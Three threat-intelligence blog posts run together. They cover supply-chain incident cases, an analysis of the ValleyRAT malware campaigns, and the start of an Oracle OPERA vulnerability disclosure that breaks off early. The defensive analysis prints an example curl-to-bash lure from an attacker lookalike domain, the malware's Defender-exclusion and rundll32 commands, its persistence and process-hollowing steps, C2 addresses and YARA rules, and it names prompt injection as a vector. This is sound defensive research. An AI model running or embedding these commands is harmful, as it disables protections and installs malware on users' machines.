Initial access no longer requires compromising your perimeter directly. Incidents increasingly originate from a user workstation – or from infrastructure entirely outside your environment. The traditional model of “breach perimeter → move laterally” has been replaced by something harder to detect: “arrive pre-authorised → operate normally.”

As we have learnt working with clients across the region, these are scenarios most organisations are not prepared to detect, contain, or communicate.

VectorDescription
SaaS IntegrationsOver-privileged OAuth tokens; shadow connections no one audits
Software DependenciesMalicious packages in NPM, PyPI, Maven
Open-Source EcosystemsSystemic vulnerabilities in foundational libraries
CI/CD PipelinesCompromised build runners and GitHub Actions workflows
External API RelianceUnmanaged API tokens scattered across developer machines and repositories
Human/Contractor AccessExternal staff with privileged internal access, outside your MDM and training programme Software vendors that host business data outside of the environment
AI/LLM ToolsModel poisoning, malicious agent skills, prompt injection

Part 2: Six Cases From the Ground

The following six cases are drawn directly from our operations over the past twelve months. Some are incidents we responded to. Others surfaced through continuous threat intelligence operations. In every one, the entry point was a trusted third party – and in every one, existing assumptions about detection failed in at least one important way.

Case 1: The Docker Registry That Should Not Have Been There

During a routine sweep of exposed internet infrastructure, we found a vendor’s Docker registry — publicly accessible, no authentication required — had been misconfigured and left open. The repository names made the client relationships immediately obvious: they referenced client names and internal project codenames. The kind of naming convention that only makes sense if you are working inside the organisation.

What we found was operational infrastructure: environment configurations, secrets, and AWS credentials with sufficient privilege for full environment access — with pivot paths reaching the vendor’s downstream clients. Based on the data, we could not determine how long the registry had been exposed. Neither did the vendor. Determining whether a threat actor had already found and exploited it took the affected clients substantial effort to investigate.

What we learnt:

  • Discovery came from external threat intelligence, not internal detection. The affected clients had no telemetry that would have surfaced this.
  • Vendors are routinely excluded from security assessment scope. Their infrastructure — registries, toolchains, dev environments — is a blind spot by default.
  • Vendor access to your environment creates an obligation to monitor their security posture, not just their SLA performance.

If your vendor’s environment was breached right now, how long would it take you to find out?

Case 2: API Key Exposure — When the Bill Is the Alert

The first signal was not a security alert. It was a billing notification.

An organisation’s AI service costs had spiked without explanation. When they investigated, it was found that an API key had been exposed in a public GitHub repository for over a week. Needless to say, a threat actor took it for various purposes.

The key was rotated immediately. But the harder questions were : is it possible to detect this, and who is going to pay?

What we learnt:

  • The breach was discovered through a financial anomaly, not a security control. Without the cost spike, no one would have noticed.
  • Determining the scope of what a stolen key accessed is significantly harder than rotating it. Baselining normal API usage before an incident is not optional.
  • An organisation that cannot enumerate its API keys cannot determine the blast radius when one is stolen.

If your organisation suffered an AI API key exposure today, how long would it take you to find it — and how would you determine what was accessed?

Case 3: Third-Party Data on the Dark Web — Fear as a Product

Through our continuous dark web monitoring, we identified a post on a threat actor forum listing what appeared to be data belonging to one of our clients.

We downloaded and analysed the sample. Our client began tracing the data’s origin and eventually found that the data had come from a campaign website a vendor had built using the client’s static information. The site was just scraped, and nothing sensitive had been exposed.

On a threat actor forum, that distinction does not appear in the listing.

What we learnt:

  • The dark web is a market for fear as much as for data. Anyone can claim a breach. The burden of proof falls on the victim to disprove it — not on the threat actor to prove it.
  • The data transfer to the vendor was authorised. The vendor’s decision to publish it on an unmanaged public site was not. That distinction carries legal and reputational weight — but threat actor forums do not make it.
  • Fast triage matters. Same-day detection allowed us to scope and close the case quickly. Without it, the client would have faced weeks of uncertainty.

Do you know what public-facing infrastructure your vendors have built using your data — and who is responsible for reviewing it?

Case 4: Notepad++ — A Trusted Channel, Weaponised

In February 2026, Notepad++ confirmed what threat hunters had suspected: APT Lotus Blossom — a threat actor with a long history of targeting Southeast Asian government and critical infrastructure — had compromised the application’s software update mechanism.[1]

The mechanics were clean. A legitimate NSIS installer delivered a malicious DLL (log.dll), sideloaded by a renamed Bitdefender component (BluetoothService.exe). The binary made outbound connections to a C2 IP address that had appeared in prior Lotus Blossom campaigns — but without active correlation against current telemetry, that history was invisible.

From a security operations standpoint, this means a targeted threat hunting for affected machines, we were hunting for legitimately signed, whitelisted software — approximately the worst possible hunting surface.

What we learnt:

  • Signed binaries arriving through trusted update channels are not, by themselves, evidence of integrity. Behavioural detection — unexpected process spawns, novel outbound connections, new persistence mechanisms — is the only reliable signal.
  • Known-malicious IOCs are only useful if matched against current telemetry. Archiving threat intelligence that is never operationalised is not threat intelligence.
  • Nation-state supply chain compromises targeting enterprise software are not edge cases. They are a persistent, structural risk that demands persistent, structural detection.

Case 5: Salesforce — The Database of Databases

Salesforce is not how most organisations think about their crown jewels. But consider what it actually contains: structured records of customers, pipeline, contracts, and — via integrations — potentially data from every system your sales and service teams touch. Then consider that Salesforce is federated into a significant share of most organisations’ vendor ecosystems.

When intelligence on a major Salesforce-related breach campaign emerged, we did not wait for vendor notification. We ran OSINT and threat hunting against the confirmed victim list, cross-referenced it against our clients’ vendor relationships and Salesforce exposure, and flagged downstream risk directly to affected clients — often before they had heard anything from the affected vendors themselves.

The access mechanism was OAuth token theft. No failed logins. No brute-force signal. No password reset. The attacker arrived pre-authorised, using a credential that looked exactly like every other legitimate session.

What we learnt:

  • OAuth token theft is authentication-transparent. The only detection surface is behavioural: unusual geolocations, access at atypical hours, unexpected data exports.
  • The downstream notification burden from a SaaS breach can extend well beyond the directly affected organisation. If a vendor’s Salesforce held your customers’ data, the notification obligation may fall on you.
  • Proactive OSINT and threat hunting — not vendor notification — was how our clients first learnt of their exposure. Do not assume the vendor will tell you first.

Which of your SaaS integrations hold your customers’ data — and would you know within 24 hours if an OAuth token for one of them was stolen?

Case 6: InstallFix — When the AI Tool Is the Threat

The ClickFix lure is perhaps the perfect phishing scenario for an uninformed user : a browser-based prompt, visually indistinguishable from legitimate installation documentation, instructing them to run a command in their terminal.

The result was an infostealer deployed directly from the user’s workstation. No perimeter control fired. No binary arrived from a remote attacker. The user executed it themselves.

The technique is not new — ClickFix has been observed as a delivery mechanism since at least 2024. What has changed is the targeting. Threat actors are now building convincing lookalike sites specifically for the AI developer tools engineers trust most: Cursor, Claude Code, GitHub Copilot. The install commands are often indistinguishable from the real documentation:

    curl https://backdoored-claude.lol/install.sh | bash

This is not a failure of endpoint detection. It is deliberate exploitation of user trust in documented install patterns. The lure succeeds precisely because it looks exactly like the real thing.

What we learnt:

  • ClickFix lures succeed by precisely mimicking legitimate install flows. “Don’t click suspicious links” is insufficient when the lure is indistinguishable from official documentation.
  • AI tools are routinely granted extensive permissions — files, email, calendar, code repositories, cloud credentials — making them high-value targets for initial access, whether through credential theft or malicious installation.
  • Policy lag is itself an attack surface. If your organisation has not defined which AI tools are permitted and how they should be installed, employees will use whatever they find — and follow the instructions they find.

If an employee ran a malicious AI tool installer today, how quickly would your SOC detect it — and how would you know which credentials and data to treat as compromised?

Part 3: How We Need to Respond Differently

Our Existing Assumptions Are Broken

Every case above had one thing in common: trusted entry point. A signed update package, a legitimate API key, an authorised data transfer, an OAuth token, or an installation documentation that told the user to do it.

In every case, the detection that mattered was behavioural — not signature-based. In some, it was external threat intelligence: we found the exposure before the attacker did, or before the organisation knew. Dwell time across these cases ranged from the same day to over fourteen months.

This demands a different posture. Not just different tools — different assumptions.

Control — Know What Is Actually In Your Ecosystem

You cannot protect what you cannot enumerate. Start with a living inventory of:

  • All third-party code dependencies, including transitive ones
  • All SaaS applications with access to your environment
  • All OAuth integrations — including the shadow ones your IT team does not know about
  • All AI tools your employees are using — sanctioned and unsanctioned
  • All contractor and vendor access, including dormant accounts
  • All API keys in active use, and what they can access

Apply data-based risk tiering: classify vendors by blast radius (what data and systems they can reach), not just compliance paperwork. Ask your highest-tier vendors to demonstrate their supply chain controls — not just sign an attestation.

Then run the 24-hour test: could you determine, within 24 hours, whether a specific vendor had been breached and what data they hold? If the answer is no, that is your first priority.

Visibility — Seeing Through Trusted Channels

The single most common gap we find is the absence of baselines. You cannot alert on anomalies you have never defined. Before writing detection rules, establish what normal looks like for:

  • Third-party authentication — geographies, timing, volume
  • API key usage — call patterns, geolocations, scope, timing
  • OAuth token behaviour — which integrations access what, when, and from where
  • Data egress through SaaS and AI channels — volume, destination, timing

Response — What If the Vendor Is the Problem?

Most incident response playbooks assume a clean model: external attacker crosses the perimeter, response team contains and eradicates. Supply chain incidents break this. The vendor is not the responder — the vendor is part of the blast radius.

New playbooks are required:

  • Credential rotation at scale: If a vendor is compromised, every credential they could have touched needs rotation — across all systems, within hours. Have you tested this? Do you know how long it takes?
  • Vendor access suspension with continuity planning: If you need to cut off a vendor immediately, what breaks? What is the fallback? These decisions should be made in advance, not under pressure.
  • Post-compromise ecosystem audit: Trigger on suspicion — not confirmation. Assume lateral movement until proven otherwise.

Run the tabletop: your most critical SaaS provider calls to say they were breached last month. Who picks up the phone? What happens in the first hour? If you have not rehearsed it, you do not know the answer.

Conclusion: The Perimeter Is Not Coming Back

The six cases above are not exceptional. They are representative.

Supply chain attacks are now the dominant initial access vector across the incidents we respond to — not because the techniques are new, but because defenders have not caught up to the reality that the perimeter no longer defines the boundary of trust. Trusted channels are the attack surface. Third-party access is the entry point. Dwell time is measured in months.

We posit that as these forms of attacks will rise exponentially, particularly as threat actors increasingly leverage AI to facilitate their attacks. AI-assisted tooling is already beginning to automate what previously required significant reconnaissance effort — mapping vendor relationships, identifying integration gaps, surfacing over-privileged third-party access at scale. Whilst this is yet to materialise at scale, we anticipate the scale and speed of these attacks will change rapidly as new model releases emerge.

The organisations that are best positioned are not the ones with the most controls. They are the ones that know exactly what is in their ecosystem, have baselined normal behaviour, and have rehearsed their response to a vendor compromise — before it happens.

The supply chain is the perimeter now. It is time to defend it like one.

Recommendations

Preventive

  • Ecosystem inventory: Maintain a living inventory of all third-party code dependencies, SaaS applications, OAuth integrations, AI tools, and contractor access.
  • API key governance: Implement pre-commit hooks to prevent secrets entering repositories; enforce short TTLs and automatic rotation; audit keys in active use regularly.
  • Vendor risk tiering: Classify vendors by blast radius (data access and connectivity scope), not just compliance status.
  • SaaS OAuth audit: Review all connected applications for scope, last-used date, and whether the business use case still exists. Revoke shadow integrations.
  • AI tool policy: Define explicitly which AI tools are permitted and what permissions they hold. Review agent skill marketplaces for scope creep.

Detective

  • Baseline trusted channels: Establish normal third-party behaviour — authentication geographies, API call volumes, data egress patterns, OAuth token usage — before writing detection rules.
  • Endpoint monitoring post-update: Alert on unexpected process spawns, outbound connections, or persistence mechanisms established by signed update agents.
  • API key and OAuth anomalies: Alert on keys used from new IPs, ASNs, or geographies; volume spikes; usage outside agreed business hours.
  • Data egress monitoring: Alert on new external destinations in proxy/DNS logs; volume spikes to cloud storage; data leaving through AI API channels.
  • Dark web monitoring: Monitor for your organisation, key vendors, and contractors appearing in threat actor forums, credential dumps, or sale listings.
  • Supply chain threat intelligence: Subscribe to feeds tracking software supply chain compromises, exposed repositories, and malicious package reports. Map intelligence to your actual dependency inventory.

Further Information

We are committed to protecting our clients and the wider community against the latest threats through our dedicated research and the integrated efforts of our red team, blue team, incident response, and threat intelligence capabilities. Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Silver Fox’s Dual-Pronged Strategy: Dissecting the ValleyRAT Distribution Campaign

Posted on by Danni Evans

The Silver Fox APT group employs a sophisticated, hybrid distribution strategy to maximize the reach of their custom-built ValleyRAT trojan, primarily aimed at Chinese-speaking victims. Rather than relying on a singly infection method, the group employs a multi-medium strategy to achieve both precision and scale.

On one front, Silver Fox executes highly targeted phishing operations, carefully timed to coincide with regional tax deadlines in Southeast Asia. Simultaneously, they operate widespread malvertising campaigns intended to infect Chinese-speaking users seeking to download trusted utilities such as Zoom, ToDesk and Notepad++. This duality enables the group to pursue specific high-value targets while passively accumulating a broader victim pool.

This blog analyses the technical, multi-stage infection chains observed in recent attacks – ranging from opportunistic infections via trojanised installers to targeted corporate tax -themed phishing.  

Casting a Wide Net: Opportunistic Infection via Watering Hole Attacks

Silver Fox has conducted multiple watering hole attacks since 2023, weaponising trusted brands to deliver their final-stage payload, ValleyRAT. These campaigns leverage trojanised installers impersonating widely used applications, promoted via malicious advertisements (malvertising) for opportunistic, widespread infection.

Infection Chain 1: The Trojanised Zoom Installer

Initially, we observed Silver Fox pushing trojanised versions of the Zoom installers; resulting in a multi-stage infection flow to deploy the final ValleyRAT payload.

Figure: Zoom Installer Payload (ZoomInstallerFull_dll_vocfk_pl.msi  b28731f2782b77e6651260d40247b8d6119236d2361daba7c95a4d7d3c9a94c9)

During its installation process, the dropped MSI file loads a malicious DLL file, EnumW.dll (c23b2ca4318d65734d545de49623c158b7f995cfaf627ab57fff5ef836dc2975).

Figure: MSI Custom Action to load EnuW.dll  

Upon being loaded, EnumW.dll drops multiple encrypted files to %Programdata%\Data_Xowlls\temp_data_{1-55}, and subsequently decrypts each file via a custom XOR routine and concatenates the decrypted data into an archive file; ProgramData%\emoji.dat (0be98eebe044dab704e435a1cd71f348e31508b8c423e7bc09ba84f113a000d1).

The malware then extracts the contents of this archive; a collation of benign system files, shellcode, and a malicious DLL. 

Figure: emoji.dat archive contents

It then executes the legitimate file edr09.exe, which is vulnerable to DLL sideloading, to load the malicious file vsdtdib.dll. The DLL drops another archive file, C:\Users\{user}\resource.dat:

Subsequently, it reads the shellcode from C:\Users\{user}\zndiouasnd{9 random number}\emjio.tmp and creates the following registry:

  • Key: HKCU\Software\DeepSer
    • Data: OpenAi_Service
      • Value:  %appdata%\Nxonq1284_QUC\rhabarbaric.exe
    • MyData
      • Value: {shell code}
    • Onload1
      • Value: C:\Users\{user}\zndiouasnd{9 random number}\edr09.exe

Figure: Registry Key Creation

To establish persistence, the payload modifies the Startup registry value in  “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup” to “C:\ProgramData\Venlnk\”. This ensures its components are automatically executed at startup.

It subsequently drops the following LNK file; C:\ProgramData\Venlnk\GooglUpdata.lnk – a shortcut LNK that executes %appdata%\Nxonq1284_QUC\rhabarbaric.exe.

Figure: GooglUpdata.lnk executes rhabarbaric.exe

Finally, the malware creates an explorer.exe process in a suspended state and injects the malicious shellcode stored in the registry (HKCU\Software\DeepSer\MyData) via process hollowing.

Figure: Process Hollowing

This complex chain results in the delivery and execution of the final-stage payload, ValleyRAT, which then attempts to establish connection to the attacker-controlled C2 server (154.82.85[.]102:5178).

Figure: C2 Connection

Infection Chain 2: The Malicious ToDesk Installer

In another campaign, we observed the delivery of ValleyRAT via a trojanised installer for ToDesk, a remote desktop application popular in Chinese-language communities. The use of this software and phishing content written in Simplified Chinese indicates this campaign specifically targeted Chinese-speaking users.

Figure: ToDesk phishing site (tdzbx1[.]top)

Figure: ToDesk_4.8.1.2.exe (e7d58498dd29791c65df464fb2b87ec01f50cd74)

Upon execution, the malware runs the following commands to exclude its directories from antivirus scanning and to execute a malicious DLL:

cmd.exe /C powershell.exe -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath C:\, D:\;

rundll32.exe  C:\Users\infect_Win7\AppData\Roaming\TrustAsia\intel.dll,DllRegisterServer

Figure: PowerShell process and execution of intel.dll

The malicious DLL (intel.dll – 5515b1dd851a6817b1923116bcb5cda3d23e7eec) reads shellcode from a local configuration file (Config2.json or Config.json) in the current directory and proceeds to attempt connection to  161.248.15[.]109:18852 to retrieve the final payload. Notably, we observed intel.dll signed by 湖南南澳网络科技有限公司; an organisation repeatedly associated with infrastructure serving other malware strains, such as PlugX and malicious Android Package Kit (APK) files.

Figure: intel.dll attempts C2 connection

The C2 server responds with a shellcode that contains the final payload, ValleyRAT.

Figure: Shellcode containing ValleyRAT

Upon retrieval and execution, ValleyRAT establishes connection to its primary C2 (161.248.15[.]109:5050) and awaits further commands from the actor.

Infection Chain 3: Notepad++

Most recently, we tracked an ongoing campaign delivering ValleyRAT via a trojanised Notepad++ installer. Whilst the language options indicate continued targeting against Chinese-speaking audiences, we observe via the availability of English as well as telemetry data that the infrastructure associated with the active campaign has reached international audiences.

Figure: Notepad++12.21.zip (af41142a512ff7cbefee6c2fb8a8151be8c33b2fd8694765b3eb5d62ab6280d3)

Silver Fox’s Regional Tax Tour

In parallel, during our routine threat hunting for active phishing campaigns targeting Hong Kong citizens, we uncovered a more deliberate strategy behind ValleyRAT distribution. Differing from the wide-net, opportunistic approach seen with the trojanised Zoom and ToDesk installers, this vector demonstrated a level of precision and forethought indicative of a more sophisticated operation.

Instead of targeting individual users, these campaigns were meticulously crafted to infiltrate specific corporate entities. By spoofing regional government tax authorities and creating highly convincing lures themed around urgent tax compliance matters, Silver Fox aimed its attacks directly at employees in finance or compliance roles. This tactic was designed to pressure these specific personnel into taking immediate action, effectively bypassing typical user skepticism and leading directly to the compromise of high-value corporate networks for the likely purpose of espionage or financial theft.

Infection Chain 4: The Tailored Tax Lures

In October 2025, Silver Fox actively spoofed the Hong Kong Inland Revenue Department (HKIRD), which led us to identify additional phishing sites impersonating Singapore’s Inland Revenue Authority (IRAS). Notably, both sets of sites were  hosted via the same IP address 154.9.24[.]93, suggesting a coordinated campaign operating within the same attack window.

Figure: Sample phishing pages

Victims were directed to these sites via phishing emails containing a PDF claiming in the country’s native language: “Translated: This notice informs you that your company must complete all compliance matters required by the above notice within three [3] days of receiving this letter”.

Figure: PDF sample containing malicious link directing to hxxp[:]//zhenkinyszd[.]host

Clicking on the embedded link directs the victim to their malicious domain (hxxp[:]//zhenkinyszd[.]host), which then redirects the victim to a Chinese cloud storage platform, vip.123pan[.]cn.

The victim downloads the shared archive file (7e5552daba7a05f26ee5ac22d22ff09f8087d8cf63e2e972d7235e31237b9a24), which contains the ValleyRAT malware binary disguised as   “審核通告.exe (translated: audit.exe)” (af95ba66cde0562bbe69a4fef1e37916f2e1e6226f98052c9044732ca423eb08).

The Payload: A Closer Look at ValleyRAT

The primary payload delivered in these campaigns is ValleyRAT (a.k.a. WinOS), a multi-stage Windows-based Remote Access Trojan (RAT). First observed in early 2023, ValleyRAT has undergone multiple enhancements, exhibiting advanced evasion mechanisms and several functions for full system control. ValleyRAT is reported to be developed and exclusively used by the Silver Fox APT group to facilitate long-term persistence and data exfiltration.

The malware leverages a multi-layered infection chain, evidenced above, to maximise stealth. Once executed, ValleyRAT establishes a connection to its C2 servers, and extracts the following system information:

  • /config/info
  • /api/encrypt/_rsa_public_key
  • /api/filedistribution/_file_distribution_by_uid
  • /api/encrypt/_secret_key
  • /operation/terminal_load
  • /terminal/info
  • /flow/is_approver
  • /flow_task_notice/_real_notice_by_uid
  • /work_order_notice/_all_notice_by_user
  • /task_manager/_all_task_manager_pending
  • /config/info
  • /monitor/record
  • /terminal/basicinfo
  • /terminal/packedinfo
  • /app/iconset

With an established foothold, it grants the attacker extensive control over the compromised host, including:

  • Reconnaissance: Harvesting system information, user lists, and installed software.
  • Keylogging: Taking screenshots, screen recording, and capturing keystrokes.
  • File Manipulation: Uploading, downloading, and executing further payloads.
  • Persistence: Modifying registry keys to ensure the malware survives reboots.
  • C2 Communication: Communicating with Command and Control servers via HTTP/TCP sockets to receive instructions.

A snippet of its backdoor commands is provided below:

CommandsDescription
0x00Return Sucess
0x01Save plugin information to registry and load the plugin
0x02Load the plugin
0x04Reconnect
0x05Updates host info in INI file
0x0ASaves C2 server info to registry
0x0BUpdate connection information
0x0CShow MessageBox
0x0DCDownloads and executes file
0x0FExecute Commands
0x10Start USDT/ETH Clipboard Monitoring
0x11Stop USDT/ETH Clipboard Monitoring

Figure: Snippet of Backdoor Commands

Outlook: Predicting Silver Fox’s Next Moves

From mid-November to the end of December 2025, we observed Silver Fox’s tax lures reach a new audience; India. This was discovered via the registration of cbicgov[.]com, a domain impersonating the Indian tax department, hosted on an IP (192.151.255[.]215) historically used for Hong Kong tax-themed phishing domains (e.g., irdtci.hk.cn). Public reporting of these attacks confirmed that Silver Fox reused the lure of company tax compliance issues, with phishing content written in Hindi.

Figure: cbicgov[.]com impersonating Indian tax department

This pattern led to our hypothesis that the timing of Silver Fox’s country-specific campaigns is highly intentional and closely aligned with local tax deadlines. Backtracking to early 2025, Taiwan was the first reported target of this “Regional Tax Tour”.[1] Taiwanese organisations were hit with similar “subject to tax audit” notifications in January 2025, which closely aligned with the peak period for closing out the previous year’s books. History has since repeated itself, with Taiwanese organisations again facing the tax-themed traps in January 2026.[2]

Based on the statutory tax calendars of major APAC economies, we hypothesised earlier this year that Silver Fox would likely pivot their infrastructure to target (or re-target) Taiwan, Japan, Indonesia, and/or South Korea in the first half of 2026. This has already been the case in terms of Taiwan, leading us to further hypothesise that previously hit locales such as Singapore, Hong Kong, and India are most likely face (repeated) targeting as the next round of deadlines approach. Defenders in these locales should heighten vigilance and raise user awareness of tax-related phishing attempts in the months prior to key taxation deadlines.

On the flipside, we observe via our continuous tracking and open-source reporting that Silver Fox’s watering hole attacks persist, with a plenitude of brands serving as their trojan horse for infection. We anticipate that Silver Fox will routinely launch opportunistic campaigns to passively widen their victim base, broadly focusing on Chinese-speaking audiences in Southeast Asia.

On the flipside, we observe via our continuous tracking and open-source reporting that Silver Fox’s watering hole attacks persist, with a plenitude of brands serving as their trojan horse for infection. We anticipate that Silver Fox will routinely launch opportunistic campaigns to passively widen their victim base, broadly focusing on Chinese-speaking audiences in Southeast Asia.

Conclusion

Silver Fox’s latest campaign demonstrates a notable evolution in their operational maturity and flexibility. The group operates a dual-pronged distribution strategy to meet diversified objectives.

The tax-themed phishing campaigns represent a highly targeted, intelligence-driven approach. They are carefully timed to coincide with regional tax deadlines, localized in native languages, and aimed at finance and compliance personnel within specific geographies. This precision suggests a primary objective of espionage and data exfiltration from organisations of strategic interest.

In contrast, the concurrent distribution of ValleyRAT via trojanized Zoom and ToDesk installers reflects a more opportunistic, wide-net strategy. By leveraging malvertising and popular software lures, Silver Fox casts a broader net, indiscriminately compromising victims who are simply seeking to download legitimate applications. This opportunistic vector points to secondary motives that may include financial gain through credential theft, cryptocurrency mining, or the sale of access to compromised networks.

The coexistence of these two distinct approaches demonstrates Silver Fox’s operational flexibility. It serves as a critical reminder for defenders that threat actor motives can be multifaceted. Organisations must recognize that even if they are outside a group’s apparent geographic or industrial focus for targeted attacks, they may still fall victim through the more indiscriminate malvertising vector.

Recommendations

Preventive
  • Harden Email Gateway: enforce SPF/DKIM/DMARC, enable URL rewriting and sandboxing for attachments, and block or sandbox MSI/EXE attachments.
  • User Awareness: Finance and HR departments in the forecasted regions should be briefed on the common reuse of tax and “Urgent Compliance” themes, including advice on how to verify links, and how may they report suspected phishing emails. Consider running tailored phishing simulation tests two-months prior to key tax deadlines.
  • Brand Reputation Monitoring: conduct 24×7 young domain monitoring to proactively uncover potential phishing campaigns impersonating your organisation.

Detective
  • Security Operations Centre (SOC) Monitoring: Perform 24×7 SOC monitoring to detect for anomalous behavioural patterns such as unauthorised software installations, outbound traffic to untrusted cloud storage platforms, DLL sideloading and/or process hollowing attempts, etc.
  • Endpoint Hardening: Ensure EDR solutions are configured to flag the specific process hollowing techniques (e.g., injections into explorer.exe) and registry modifications (User Shell Folders) detailed in this report.
    • For example,  Alert on process hollowing, creation of suspended explorer.exe, and unusual DLL sideloading (e.g., edr09.exe → vsdtdib.dll). Hunt for registry keys: HKCU\Software\DeepSer and Startup path changes to C:\ProgramData\Venlnk\.
    • Detect LNK files in C:\ProgramData that execute AppData binaries (e.g., GooglUpdata.lnk → rhabarbaric.exe).
  • Network Security: Monitor outbound connections to unusual TCP ports and the C2 IPs above; flag long‑lived HTTP/TCP sessions and beaconing patterns.
  • Security Information and Event Management (SIEM): Create SIEM queries for DNS requests to newly registered tax‑like domains and for downloads of .msi/.exe from external webmail or short URLs.

Indicators of Compromise

IOCType
www[.]sgaporein[.]xyzDomain
www[.]uiwszxc[.]xyzDomain
www[.]sting[.]xyzDomain
zhenkinyszd[.]hostDomain
irdtci[.]hk[.]cnDomain
www[.]irdtci[.]hk[.]cnDomain
irassg[.]cnDomain
cbicgov.comDomain
irdghk.xyzDomain
vip.123pan[.]cn/1851739265/23766152URL
vip.123pan[.]cn/1851739265/23837948URL
206.238.220[.]215IP Address
154.9.24[.]93IP Address
154.82.85[.]102IP Address
161.248.15[.]109IP Address
192.151.255[.]215IP Address
5515b1dd851a6817b1923116bcb5cda3d23e7eecSHA1
7e5552daba7a05f26ee5ac22d22ff09f8087d8cf63e2e972d7235e31237b9a24SHA256
01487c0a98d57ab74390cd4313f554c2c84ae974631e8ae4d1eab4d349fc9896SHA256
a7704876121825ee323cf2ecfe78302bfef83874f098cbbd80cec55926b041eeSHA256
b28731f2782b77e6651260d40247b8d6119236d2361daba7c95a4d7d3c9a94c9SHA256
c23b2ca4318d65734d545de49623c158b7f995cfaf627ab57fff5ef836dc2975SHA256
0be98eebe044dab704e435a1cd71f348e31508b8c423e7bc09ba84f113a000d1SHA256
7e5552daba7a05f26ee5ac22d22ff09f8087d8cf63e2e972d7235e31237b9a24SHA256
af95ba66cde0562bbe69a4fef1e37916f2e1e6226f98052c9044732ca423eb08SHA256
hxxps://m76.cdn-ccdown[.]com/Notepad++12.21.zipURL
hxxps://m76.cdn-ccdown[.]com/Notepad++12.21.zipURL
hxxps://github.zh-cns[.]top/down/latestURL
hxxps://github.zh-cns[.]top/down/latestURL
b94c54290015ed751c84d0a9bfa6e63481c72c0d7528b4b65a2816f72ea5c994SHA256
hxxps://m76.cdn-ccdown[.]com/Notepad++.zipURL
72578780c616b66e10d46de44e21fffc319207dd727653a211cd63727885cc3dSHA256
hxxps://jm2026118.tos-cn-beijing.volces[.]com/tax_RX3000.rarURL
jcfash.hk[.]cnDomain
sgowin[.]cnDomain
sginxg[.]xyzDomain
sgaporein[.]xyzDomain
f107c32b4df3be98560da44c4eb2c3a94e49c95b13815df284b81437735e2dfbSHA256
192.238.180[.]163IP Address

YARA Rules

rule Obfuscated_ValleyRat
{
  meta:
    author = "PwC Darklab"
    description = "Detects the obfuscation use by the SilverFox malware"
    hash1="af95ba66cde0562bbe69a4fef1e37916f2e1e6226f98052c9044732ca423eb08"
    hash2="c23b2ca4318d65734d545de49623c158b7f995cfaf627ab57fff5ef836dc2975"
    target_entity = "file"
  strings:
    $a1 = "Reconsider your life choices"
    $a2 = "Stop reversing the binary"
    $a3 = "And go touch some grass"
    //dummy funcs
    $b1 = {CC CC CC CC B0 02 C3 CC CC CC CC}
    $b2 = {CC CC CC CC 32 C0 C3 CC CC CC CC} 
    $b3 = {CC CC CC CC B0 03 C3 CC CC CC CC}
    $b4 = {CC CC CC CC B0 06 C3 CC CC CC CC}
    $b5 = {CC CC CC CC B0 07 C3 CC CC CC CC}
    $b6 = {CC CC CC CC B0 09 C3 CC CC CC CC}
  condition:
    all of ($a*) or all of ($b*)
}

rule ValleyRat_Loader
{
  meta:
    author = "PwC Darklab"
    description = "Detects the ValleyRat Loader"
    hash1="2b2e3840daa587f5e3deca46ce2a5d6a5d5fb08a60445fb045b6bb29ed3a7094"
    hash2="c89b43e4cff3ad2d7cb7a80e5a929266d7614e4f21a03d0f7ab5ea6ea58ed69b"
    target_entity = "file"
  strings:
    $a1 = ",10231,109,112,46,97" //mutex
    $a2 = {5C 54 72 75 [0-10] 73 74 41 73 } //TrustAsia
    $a3 = {43 6F 6E 66 [0-10] 69 67 2E 6A } //Config.json
    $a4 = {43 6F 6E 66 [0-10] 69 67 32 2E } //Config2.json
    $b1 = "ZwCreateSection"
    $b2= "ZwMapViewOfSection"
    $b3= "CreateProcessA"
    $b4= "GetThreadContext"
    $b5= "SetThreadContext"
    $b6= "ResumeThread"
    //Software\DeepSer 
    $b7 = {53 00 6F 00 00 00 00 00 66 00 74 00 00 00 00 00
          77 00 61 00 72 00 00 00 65 00 5C 00 44 00 65 00
          65 00 70 00 00 00 00 00 53 00 65 00 72 00 00 00
          4D 00 79 00 44 00 61 00 74 00 61 00 00}
  condition:
    all of ($a*) or all of ($b*)
}

rule ValleyRat_Shellcode
{
  meta:
    author = "PwC Darklab"
    description = "Detects the ValleyRat Shellcode"
    hash1="38830f4c54f0caa60187e67c80e4e9dddf103d02fae8aae8fe9b43fcf08c4677"
    hash2="c250783846d5de0379e2da6286f554f516f2a3b7ce585c44036d2739be5d396e"
    target_entity = "file"
  strings:
    $a1 = "\\Release\\Code_Shellcode"
    $a2 = {81 EC 14 01 00 00 53 55 56 57 6A 6B 58 6A 65 66 89 84 24 CC 00 00 00 33 ED 58 6A 72 59 6A 6E 5B 6A} //forming kernel32 string
    $c1 ={48 89 5c 24 08 48 89 6c 24 10 48 89 74 24 18 57 41 56 41 57 48 81 ec 00 05 00 00 33 ff 48 8b d9 39 b9 38 02 00 00 0f 84 ce 00 00 00 4c 8b 41 28 48 8b 91 88 00 00 00 e8} // start of shellcode
  condition:
    all of ($a*) or $c1
}

Further Information

We are committed to protecting our clients and the wider community against the latest threats through our dedicated research and the integrated efforts of our red team, blue team, incident response, and threat intelligence capabilities. Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

When Hospitality Software is Too Hospitable: an XSS Filter Bypass and a Curious SSRF in Oracle Hospitality OPERA (CVE-2026-21966, CVE-2026-21967)

Posted on by johnathan.law

Last autumn, while a typhoon hammered against the hotel windows, our offensive specialist found themselves locked into a different kind of storm – a pentest that refused to stay routine. What began as a run-of-the-mill exercise quickly spiralled into yet another thrilling adventure of vulnerability disclosure.

This writeup walks through DarkLab’s discovery of a Cross-Site Scripting (XSS) sanitization bypass and a powerful Server-Side Request Forgery (SSRF) vulnerability in Oracle’s OPERA product.[1]

Overview

CVE-2026-21966 – Reflected XSS in Oracle OPERA
CVSS v4.0: 5.1 /  MEDIUM  / CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Description: A reflected cross-site scripting (XSS) vulnerability has been identified in Oracle Hospitality OPERA 5, versions at and below 5.6.19.23, 5.6.25.17, 5.6.26.10, 5.6.27.4, 5.6.28.0. Attackers can leverage the vulnerability to deliver social engineering attacks and execute client-side code in the victim’s browser.
CVE-2026-21967 – SSRF and Credential Disclosure in Oracle OPERA
